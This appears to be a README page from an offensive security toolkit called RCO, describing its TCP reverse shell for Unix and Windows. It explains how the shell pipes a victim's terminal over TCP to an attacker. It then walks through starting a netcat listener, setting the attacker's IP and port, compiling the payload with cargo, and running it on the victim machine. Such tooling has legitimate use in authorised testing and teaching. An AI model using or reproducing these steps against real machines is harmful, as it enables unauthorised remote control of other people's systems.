kmanc
1298be49c7
* updated tcp rev shell documentation * missed a line * missed another line * updating documentation for process migration
RCO: TCP Reverse Shell
What it is
RCO's TCP reverse shell is a no-frills reverse shell. This means it allows you to run Terminal (Unix) or Command Prompt (Windows) commands on the victim machine from the attacking machine. Getting a remote shell on a victim machine usually allows much more control over the victim than other attacks.
How it works
Both RCO's Unix and Windows TCP reverse shells work by establishing a TCP session from the victim machine to the attacking machine. Then a Terminal (Unix) or Command Prompt (Windows) process is spun up with its standard input, standard output, and standard error all assigned to the TCP session. This means that input commands and output results are read from and written to (respectively) a TCP stream.
Using it
-
Start a listener on the attacking machine
nc -nlvp 4444 -
Open the config file and change the IP address and port to match your attacking machine and listener, respectively
-
Compile the executable
For Unix targets
cargo build -p tcp_reverse_shell --releaseFor Windows targets
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release -
Execute the payload on the victim machine
-
Return to the listener and enter desired commands for the victim machine to run